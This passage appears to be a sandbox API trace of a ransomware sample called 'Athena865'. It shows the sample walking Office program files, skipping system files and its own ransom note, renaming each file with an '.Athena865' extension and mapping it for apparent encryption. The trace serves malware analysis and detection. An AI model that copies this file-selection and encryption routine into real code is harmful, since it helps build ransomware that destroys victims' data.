64 [0077.023] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSO0127.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\mso0127.acl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSO0127.ACL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mso0127.acl.athena865"), dwFlags=0x1) returned 1 [0077.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSO0127.ACL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mso0127.acl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0077.024] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13202) returned 1 [0077.024] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0077.024] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0077.024] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0077.025] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0077.025] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0077.025] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.025] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x36a0, lpName=0x0) returned 0x17c [0077.027] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x36a0) returned 0x100000 [0077.029] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0077.029] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0077.030] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.030] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0077.030] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0077.030] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0077.030] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0077.030] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.030] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0077.030] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0077.030] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0077.030] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.030] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0077.030] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0077.030] CloseHandle (hObject=0x17c) returned 1 [0077.030] CloseHandle (hObject=0x154) returned 1 [0077.031] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0077.031] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0077.031] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0077.031] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76339d00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xdc9d7360, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x76339d00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x36178, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCF.DLL", cAlternateFileName="")) returned 1 [0077.031] lstrcmpiW (lpString1="MSOCF.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0077.031] lstrcmpiW (lpString1="MSOCF.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0077.031] lstrcmpiW (lpString1="MSOCF.DLL", lpString2=".") returned 1 [0077.031] lstrcmpiW (lpString1="MSOCF.DLL", lpString2="..") returned 1 [0077.031] lstrcmpiW (lpString1="MSOCF.DLL", lpString2="windows") returned -1 [0077.031] lstrcmpiW (lpString1="MSOCF.DLL", lpString2="bootmgr") returned 1 [0077.031] lstrcmpiW (lpString1="MSOCF.DLL", lpString2="temp") returned -1 [0077.031] lstrcmpiW (lpString1="MSOCF.DLL", lpString2="pagefile.sys") returned -1 [0077.031] lstrcmpiW (lpString1="MSOCF.DLL", lpString2="boot") returned 1 [0077.031] lstrcmpiW (lpString1="MSOCF.DLL", lpString2="ids.txt") returned 1 [0077.031] lstrcmpiW (lpString1="MSOCF.DLL", lpString2="ntuser.dat") returned -1 [0077.031] lstrcmpiW (lpString1="MSOCF.DLL", lpString2="perflogs") returned -1 [0077.031] lstrcmpiW (lpString1="MSOCF.DLL", lpString2="MSBuild") returned 1 [0077.031] lstrlenW (lpString="MSOCF.DLL") returned 9 [0077.031] lstrcpyW (in: lpString1=0x241e89e, lpString2="MSOCF.DLL" | out: lpString1="MSOCF.DLL") returned="MSOCF.DLL" [0077.031] lstrlenW (lpString="MSOCF.DLL") returned 9 [0077.031] lstrlenW (lpString="Athena865") returned 9 [0077.031] lstrlenW (lpString=".dll") returned 4 [0077.031] lstrcmpiW (lpString1="MSOCF.DLL", lpString2=".dll") returned 1 [0077.032] lstrlenW (lpString=".lnk") returned 4 [0077.032] lstrcmpiW (lpString1="MSOCF.DLL", lpString2=".lnk") returned 1 [0077.032] lstrlenW (lpString=".ini") returned 4 [0077.032] lstrcmpiW (lpString1="MSOCF.DLL", lpString2=".ini") returned 1 [0077.032] lstrlenW (lpString=".sys") returned 4 [0077.032] lstrcmpiW (lpString1="MSOCF.DLL", lpString2=".sys") returned 1 [0077.032] lstrlenW (lpString="MSOCF.DLL") returned 9 [0077.032] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MSOCF.DLL.Athena865") returned 62 [0077.032] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOCF.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\msocf.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOCF.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msocf.dll.athena865"), dwFlags=0x1) returned 1 [0077.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOCF.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msocf.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0077.046] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=221560) returned 1 [0077.046] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0077.046] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0077.046] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0077.047] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0077.047] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0077.047] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.048] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x36480, lpName=0x0) returned 0x17c [0077.049] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x36480) returned 0x170000 [0077.058] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0077.059] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0077.059] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.059] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0077.059] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0077.059] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0077.059] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0077.059] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.059] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0077.059] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0077.059] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0077.059] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.059] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0077.059] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0077.061] CloseHandle (hObject=0x17c) returned 1 [0077.061] CloseHandle (hObject=0x154) returned 1 [0077.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0077.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0077.062] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0077.063] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x716ee900, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xdc9fd4c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x716ee900, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x6a790, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCFU.DLL", cAlternateFileName="")) returned 1 [0077.063] lstrcmpiW (lpString1="MSOCFU.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0077.063] lstrcmpiW (lpString1="MSOCFU.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0077.063] lstrcmpiW (lpString1="MSOCFU.DLL", lpString2=".") returned 1 [0077.063] lstrcmpiW (lpString1="MSOCFU.DLL", lpString2="..") returned 1 [0077.063] lstrcmpiW (lpString1="MSOCFU.DLL", lpString2="windows") returned -1 [0077.063] lstrcmpiW (lpString1="MSOCFU.DLL", lpString2="bootmgr") returned 1 [0077.063] lstrcmpiW (lpString1="MSOCFU.DLL", lpString2="temp") returned -1 [0077.063] lstrcmpiW (lpString1="MSOCFU.DLL", lpString2="pagefile.sys") returned -1 [0077.063] lstrcmpiW (lpString1="MSOCFU.DLL", lpString2="boot") returned 1 [0077.063] lstrcmpiW (lpString1="MSOCFU.DLL", lpString2="ids.txt") returned 1 [0077.063] lstrcmpiW (lpString1="MSOCFU.DLL", lpString2="ntuser.dat") returned -1 [0077.063] lstrcmpiW (lpString1="MSOCFU.DLL", lpString2="perflogs") returned -1 [0077.063] lstrcmpiW (lpString1="MSOCFU.DLL", lpString2="MSBuild") returned 1 [0077.063] lstrlenW (lpString="MSOCFU.DLL") returned 10 [0077.063] lstrcpyW (in: lpString1=0x241e89e, lpString2="MSOCFU.DLL" | out: lpString1="MSOCFU.DLL") returned="MSOCFU.DLL" [0077.063] lstrlenW (lpString="MSOCFU.DLL") returned 10 [0077.063] lstrlenW (lpString="Athena865") returned 9 [0077.063] lstrcmpiW (lpString1="SOCFU.DLL", lpString2="Athena865") returned 1 [0077.063] lstrlenW (lpString=".dll") returned 4 [0077.063] lstrcmpiW (lpString1="MSOCFU.DLL", lpString2=".dll") returned 1 [0077.063] lstrlenW (lpString=".lnk") returned 4 [0077.063] lstrcmpiW (lpString1="MSOCFU.DLL", lpString2=".lnk") returned 1 [0077.063] lstrlenW (lpString=".ini") returned 4 [0077.063] lstrcmpiW (lpString1="MSOCFU.DLL", lpString2=".ini") returned 1 [0077.063] lstrlenW (lpString=".sys") returned 4 [0077.063] lstrcmpiW (lpString1="MSOCFU.DLL", lpString2=".sys") returned 1 [0077.063] lstrlenW (lpString="MSOCFU.DLL") returned 10 [0077.063] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MSOCFU.DLL.Athena865") returned 63 [0077.064] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOCFU.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\msocfu.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOCFU.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msocfu.dll.athena865"), dwFlags=0x1) returned 1 [0077.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOCFU.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msocfu.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0077.065] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=436112) returned 1 [0077.065] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0077.065] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0077.065] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0077.065] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0077.066] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0077.066] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.066] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6aa90, lpName=0x0) returned 0x17c [0077.067] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6aa90) returned 0x2d50000 [0077.088] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0077.089] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0077.089] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.089] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0077.089] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0077.089] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0077.089] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0077.089] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.089] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0077.089] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0077.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0077.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0077.090] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0077.094] CloseHandle (hObject=0x17c) returned 1 [0077.094] CloseHandle (hObject=0x154) returned 1 [0077.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0077.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0077.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0077.096] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76339d00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xdc9fd4c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x76339d00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x4590, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCFUIUTILITIESDLL.DLL", cAlternateFileName="MSOCFU~1.DLL")) returned 1 [0077.096] lstrcmpiW (lpString1="MSOCFUIUTILITIESDLL.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0077.096] lstrcmpiW (lpString1="MSOCFUIUTILITIESDLL.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0077.096] lstrcmpiW (lpString1="MSOCFUIUTILITIESDLL.DLL", lpString2=".") returned 1 [0077.096] lstrcmpiW (lpString1="MSOCFUIUTILITIESDLL.DLL", lpString2="..") returned 1 [0077.096] lstrcmpiW (lpString1="MSOCFUIUTILITIESDLL.DLL", lpString2="windows") returned -1 [0077.096] lstrcmpiW (lpString1="MSOCFUIUTILITIESDLL.DLL", lpString2="bootmgr") returned 1 [0077.096] lstrcmpiW (lpString1="MSOCFUIUTILITIESDLL.DLL", lpString2="temp") returned -1 [0077.096] lstrcmpiW (lpString1="MSOCFUIUTILITIESDLL.DLL", lpString2="pagefile.sys") returned -1 [0077.096] lstrcmpiW (lpString1="MSOCFUIUTILITIESDLL.DLL", lpString2="boot") returned 1 [0077.096] lstrcmpiW (lpString1="MSOCFUIUTILITIESDLL.DLL", lpString2="ids.txt") returned 1 [0077.096] lstrcmpiW (lpString1="MSOCFUIUTILITIESDLL.DLL", lpString2="ntuser.dat") returned -1 [0077.096] lstrcmpiW (lpString1="MSOCFUIUTILITIESDLL.DLL", lpString2="perflogs") returned -1 [0077.096] lstrcmpiW (lpString1="MSOCFUIUTILITIESDLL.DLL", lpString2="MSBuild") returned 1 [0077.096] lstrlenW (lpString="MSOCFUIUTILITIESDLL.DLL") returned 23 [0077.096] lstrcpyW (in: lpString1=0x241e89e, lpString2="MSOCFUIUTILITIESDLL.DLL" | out: lpString1="MSOCFUIUTILITIESDLL.DLL") returned="MSOCFUIUTILITIESDLL.DLL" [0077.096] lstrlenW (lpString="MSOCFUIUTILITIESDLL.DLL") returned 23 [0077.096] lstrlenW (lpString="Athena865") returned 9 [0077.096] lstrcmpiW (lpString1="ESDLL.DLL", lpString2="Athena865") returned 1 [0077.096] lstrlenW (lpString=".dll") returned 4 [0077.096] lstrcmpiW (lpString1="MSOCFUIUTILITIESDLL.DLL", lpString2=".dll") returned 1 [0077.096] lstrlenW (lpString=".lnk") returned 4 [0077.096] lstrcmpiW (lpString1="MSOCFUIUTILITIESDLL.DLL", lpString2=".lnk") returned 1 [0077.096] lstrlenW (lpString=".ini") returned 4 [0077.096] lstrcmpiW (lpString1="MSOCFUIUTILITIESDLL.DLL", lpString2=".ini") returned 1 [0077.096] lstrlenW (lpString=".sys") returned 4 [0077.096] lstrcmpiW (lpString1="MSOCFUIUTILITIESDLL.DLL", lpString2=".sys") returned 1 [0077.096] lstrlenW (lpString="MSOCFUIUTILITIESDLL.DLL") returned 23 [0077.097] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MSOCFUIUTILITIESDLL.DLL.Athena865") returned 76 [0077.097] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOCFUIUTILITIESDLL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\msocfuiutilitiesdll.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOCFUIUTILITIESDLL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msocfuiutilitiesdll.dll.athena865"), dwFlags=0x1) returned 1 [0077.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOCFUIUTILITIESDLL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msocfuiutilitiesdll.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0077.098] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17808) returned 1 [0077.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0077.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0077.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0077.098] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0077.099] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0077.099] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.099] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4890, lpName=0x0) returned 0x17c [0077.101] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4890) returned 0x100000 [0077.102] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0077.102] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0077.102] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.102] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0077.102] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0077.102] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0077.102] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0077.103] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.103] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0077.103] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0077.103] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0077.103] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.103] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0077.103] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0077.103] CloseHandle (hObject=0x17c) returned 1 [0077.103] CloseHandle (hObject=0x154) returned 1 [0077.103] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0077.103] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0077.103] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0077.104] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dadcd00, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xd61ff3a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1dadcd00, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xa7f60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSODCW.DLL", cAlternateFileName="")) returned 1 [0077.104] lstrcmpiW (lpString1="MSODCW.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0077.104] lstrcmpiW (lpString1="MSODCW.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0077.104] lstrcmpiW (lpString1="MSODCW.DLL", lpString2=".") returned 1 [0077.104] lstrcmpiW (lpString1="MSODCW.DLL", lpString2="..") returned 1 [0077.104] lstrcmpiW (lpString1="MSODCW.DLL", lpString2="windows") returned -1 [0077.104] lstrcmpiW (lpString1="MSODCW.DLL", lpString2="bootmgr") returned 1 [0077.104] lstrcmpiW (lpString1="MSODCW.DLL", lpString2="temp") returned -1 [0077.104] lstrcmpiW (lpString1="MSODCW.DLL", lpString2="pagefile.sys") returned -1 [0077.104] lstrcmpiW (lpString1="MSODCW.DLL", lpString2="boot") returned 1 [0077.104] lstrcmpiW (lpString1="MSODCW.DLL", lpString2="ids.txt") returned 1 [0077.104] lstrcmpiW (lpString1="MSODCW.DLL", lpString2="ntuser.dat") returned -1 [0077.104] lstrcmpiW (lpString1="MSODCW.DLL", lpString2="perflogs") returned -1 [0077.104] lstrcmpiW (lpString1="MSODCW.DLL", lpString2="MSBuild") returned 1 [0077.104] lstrlenW (lpString="MSODCW.DLL") returned 10 [0077.104] lstrcpyW (in: lpString1=0x241e89e, lpString2="MSODCW.DLL" | out: lpString1="MSODCW.DLL") returned="MSODCW.DLL" [0077.104] lstrlenW (lpString="MSODCW.DLL") returned 10 [0077.104] lstrlenW (lpString="Athena865") returned 9 [0077.104] lstrcmpiW (lpString1="SODCW.DLL", lpString2="Athena865") returned 1 [0077.104] lstrlenW (lpString=".dll") returned 4 [0077.104] lstrcmpiW (lpString1="MSODCW.DLL", lpString2=".dll") returned 1 [0077.104] lstrlenW (lpString=".lnk") returned 4 [0077.104] lstrcmpiW (lpString1="MSODCW.DLL", lpString2=".lnk") returned 1 [0077.104] lstrlenW (lpString=".ini") returned 4 [0077.104] lstrcmpiW (lpString1="MSODCW.DLL", lpString2=".ini") returned 1 [0077.104] lstrlenW (lpString=".sys") returned 4 [0077.104] lstrcmpiW (lpString1="MSODCW.DLL", lpString2=".sys") returned 1 [0077.104] lstrlenW (lpString="MSODCW.DLL") returned 10 [0077.105] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: 